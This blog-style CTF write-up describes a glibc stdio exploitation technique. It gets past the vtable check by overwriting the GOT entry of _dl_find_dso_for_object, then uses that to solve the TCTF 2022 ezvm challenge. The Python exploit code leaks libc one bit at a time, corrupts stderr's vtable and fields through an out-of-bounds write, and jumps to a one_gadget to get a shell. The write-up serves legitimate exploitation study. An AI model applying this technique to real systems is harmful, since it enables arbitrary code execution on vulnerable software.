In the first part, I showed a new method to completely control the vtable of IO_FILE. In this chapter I would like to present a much more stable way to gain arbitrary code execution and use this way to solve a CTF challenge.
invalid vtable
In first chapter we focus on bypassing the checking in _IO_vtable_check.
/* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; structlink_map *l; if (!rtld_active () || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; }
#else/* !SHARED */ /* We cannot perform vtable validation in the static dlopen case because FILE * handles might be passed back and forth across the boundary. Therefore, we disable checking in this case. */ if (__dlopen != NULL) return; #endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n"); }
When flag != &_IO_IO_vtable_check and rtld_active() != 0, it will finally invoke _dl_addr()
if (l) { determine_info (addr, l, info, mapp, symbolp); result = 1; }
__rtld_lock_unlock_recursive (GL(dl_load_lock));
return result; }
Notice that it will call _dl_find_dso_for_object(). From the assembly code we can find that the address of this function is in ld and it is dynamically resolved which means if we are able to override the .GOT table of it we can jump to anywhere we want! And yes, we don’t need to bruteforce ld’s address with this method.
TCTF 2022 ezvm
Here I will demonstrate how to use this arbitrary code execution method to solve this CTF challenge. I will focus on code execution part since there are plenty of writeups with different ways of heap grooming and libc leaking I will only briefly cover these parts.
with a simple heap grooming we can have a libc address at memory[0], then we leak the address bit by bit.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
leak = 0 for i inrange(0, 64): code = read_mem(0, 0) # load memory[0] to register[0] code += push(0) # push register[0] code += read_imm(1, 1<<i) # load mask to register[0] code += push(1) # push register[0] code += stk_and # logical and stack[top] stack[top-1] and push the result code += jmp(1) # jump to illegal if 1 code += p8(0xff)+p8(0x17) # 0xff(illegal) and exit 0x17 p.sendlineafter(b'code size:\n', tob(len(code))) p.sendlineafter(b'memory count:', tob(0x100)) p.sendlineafter(b'code:', code) recv_data = p.recvuntil(b'finish') ifb'what'in recv_data: # illegal instruction leak |= (1<<i) log.info("leak data: "+hex(leak))
Now we have libc address, so that we are able to calculate one gadget from it. Then using the OOB bug and allocate using mmap by setting a size that is big enough.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
# allocate memory with mmap, and exploit the OOB bug p.sendlineafter(b'code size:', b'500') p.sendlineafter(b'memory count', tob(0x6000000000200000))
log.info('writing to stderr') code = read_imm(0, libc.address+0xebcf8) # one_gadget code += store_mem(0, 0x24340f*8) # offset of GOT code += read_imm(0, 0x41414141) # vtable, any value not in vtable segment code += store_mem(0, 0x121b768) # write to stderr->vtable code += read_imm(0, 0x1122334455667788) # anything for i inrange(0, 0x15): # override fields in stderr code += store_mem(0, 0x121b698+i*8) code += read_imm(0, 0) code += store_mem(0, 0x121b690) # stderr->flag code += read_imm(0, 0xaabbccdd55667788) # stderr->write_ptr code += store_mem(0, 0x121b6b8) # write to stderr->write_ptr
after that we can notice the vtable is already overrided by AAAA
finish! continue? $ a Please input your code size: $ a Please input your memory count: $ a Please input your code: Wrong length! $echo pwn pwn $
Conclusion
With this method we can gain arbitrary code execution without constructing any complex structure but only two arbitrary writing and libc address leaking. One of the most obvious drawbacks(in my opinion) is that we almost can’t control any registers which are used to pass arguments, thus we can only jump to one gadget to get shell here.